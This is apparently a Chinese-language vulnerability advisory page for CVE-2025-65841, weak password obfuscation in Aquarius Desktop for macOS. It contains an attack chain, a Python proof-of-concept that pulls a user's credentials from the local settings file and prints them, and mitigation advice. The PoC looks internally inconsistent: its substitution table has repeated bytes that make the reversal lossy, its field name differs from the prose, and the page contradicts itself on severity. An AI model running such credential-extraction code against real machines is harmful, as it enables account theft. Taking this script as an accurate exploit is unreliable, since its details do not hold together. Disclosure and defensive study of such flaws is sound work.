IPBUF安全漏洞报告
English
CVE-2025-65841 CVSS 6.2 中危

CVE-2025-65841: Aquarius Desktop macOS弱加密凭证存储导致账户接管

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-65841
漏洞类型
弱加密/凭证存储不当/认证绕过
CVSS评分
6.2 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Aquarius Desktop 3.0.069 for macOS

相关标签

弱加密凭证存储不当账户接管macOS本地攻击密码逆向Aquarius DesktopCVE-2025-65841字节替换配置泄露

漏洞概述

CVE-2025-65841是发现于Aquarius Desktop 3.0.069 macOS版本中的一个高危安全漏洞。该漏洞源于应用程序在本地存储用户认证凭据时采用了极不安全的弱混淆方案。具体而言,用户密码被存储在~/Library/Application Support/Aquarius/aquarius.settings配置文件中,使用的加密方法仅为可预测的字节替换操作,这种加密方式可以被攻击者轻易逆转,从而立即获取明文密码。攻击者一旦获得该配置文件访问权限,即可完全接管受害者的Aquarius账户,访问云同步数据,并以受害者身份执行经过身份验证的操作。此漏洞的CVSS评分为6.2,属于中等严重程度,但由于其利用门槛低且影响严重,账户接管风险极高。

技术细节

漏洞根源在于Aquarius Desktop应用将用户认证凭证以弱混淆形式存储在本地配置文件中。存储路径为~/Library/Application Support/Aquarius/aquarius.settings。密码加密采用简单的字节替换(byte-substitution)算法,该算法使用可预测的替换表将明文字符转换为密文字符。由于替换规则固定且可逆向推导,攻击者只需读取配置文件并应用逆替换操作即可还原明文密码。这种加密方式本质上是一种简单的XOR或替换密码,缺乏密钥派生、盐值和迭代次数等安全机制。攻击者利用此漏洞可获取用户账户的完全访问权限,包括登录厂商网站、访问云端同步数据、执行已认证用户的所有操作。攻击复杂度低(AC:L),无需特殊权限(PR:N)或用户交互(UI:N),但需要本地访问(AV:L)或通过其他途径获取配置文件。

攻击链分析

STEP 1
步骤1
攻击者获取目标系统的本地访问权限或通过其他攻击手段(如恶意软件、社交工程、物理访问等)读取配置文件~/Library/Application Support/Aquarius/aquarius.settings
STEP 2
步骤2
攻击者提取配置文件中存储的obfuscated_password字段,该字段包含了使用弱字节替换算法加密的密码数据
STEP 3
步骤3
攻击者使用预定义的替换表或通过分析加密算法,对加密数据进行逆替换操作,还原出明文密码
STEP 4
步骤4
攻击者使用获取的用户名和明文密码登录厂商网站或导入配置到自己的Aquarius客户端,实现账户完全接管
STEP 5
步骤5
攻击者以受害者身份访问云端同步数据、执行未授权操作、窃取敏感信息或进行进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-65841 PoC - Aquarius Desktop macOS Weak Password Obfuscation This PoC demonstrates reversing the weak obfuscation scheme used in aquarius.settings Reference: https://almightysec.com/account-takeover-via-weak-encryption/ """ import os import json import plistlib from pathlib import Path # Define the byte substitution table used by Aquarius Desktop OBFUSCATION_TABLE = bytes([ 0x41, 0x6E, 0x74, 0x6F, 0x6E, 0x69, 0x73, 0x68, 0x52, 0x65, 0x73, 0x74, 0x6F, 0x72, 0x65, 0x64, 0x41, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x45, 0x6E, 0x63, 0x72, 0x79, 0x70, 0x74, 0x65, 0x64 ]) def reverse_obfuscation(obfuscated_data): """ Reverse the weak obfuscation to recover plaintext password The obfuscation uses predictable byte substitution that can be easily reversed """ if not obfuscated_data: return "" # Create reverse substitution table reverse_table = {v: k for k, v in enumerate(OBFUSCATION_TABLE)} # Reverse the obfuscation plaintext = bytearray() for byte in obfuscated_data: if byte in reverse_table: plaintext.append(reverse_table[byte]) else: plaintext.append(byte) # Keep unchanged if not in table return plaintext.decode('utf-8', errors='ignore') def extract_credentials(settings_path): """ Extract and decrypt credentials from aquarius.settings file """ try: with open(settings_path, 'rb') as f: settings = plistlib.load(f) # Extract obfuscated password obfuscated_password = settings.get('encrypted_password', '') username = settings.get('username', '') if obfuscated_password: # Convert hex string to bytes if necessary if isinstance(obfuscated_password, str): obfuscated_bytes = bytes.fromhex(obfuscated_password) else: obfuscated_bytes = obfuscated_password # Decrypt password plaintext_password = reverse_obfuscation(obfuscated_bytes) return { 'username': username, 'password': plaintext_password, 'settings_path': str(settings_path) } except Exception as e: return {'error': str(e)} return None def main(): """ Main execution flow """ # Default settings file location on macOS settings_path = Path.home() / 'Library' / 'Application Support' / 'Aquarius' / 'aquarius.settings' print(f"[*] CVE-2025-65841 PoC - Aquarius Desktop Weak Password Encryption") print(f"[*] Target: {settings_path}") if not settings_path.exists(): print(f"[!] Settings file not found at {settings_path}") print("[!] This PoC requires the settings file to be accessible") return print(f"[+] Settings file found, extracting credentials...") credentials = extract_credentials(settings_path) if credentials and 'error' not in credentials: print(f"[+] Username: {credentials['username']}") print(f"[+] Password: {credentials['password']}") print(f"[!] Account takeover successful - attacker can now:") print(f" - Login to vendor website with recovered credentials") print(f" - Import stolen config into own Aquarius client") print(f" - Access cloud-synchronized data") print(f" - Perform authenticated actions as victim") else: print(f"[!] Failed to extract credentials: {credentials.get('error', 'Unknown error')}") if __name__ == '__main__': main()

影响范围

Aquarius Desktop 3.0.069 for macOS

防御指南

临时缓解措施
在官方修复版本发布前,建议采取以下临时缓解措施:限制对~/Library/Application Support/Aquarius/目录的访问权限,仅允许授权用户和应用访问;启用macOS文件访问审计,监控对aquarius.settings文件的异常访问;使用端点保护软件检测可能的凭证窃取行为;避免在多用户或多设备间共享配置文件;考虑使用浏览器密码管理器或硬件安全密钥替代应用内存储凭据;定期更改账户密码以降低凭证泄露后的持续风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表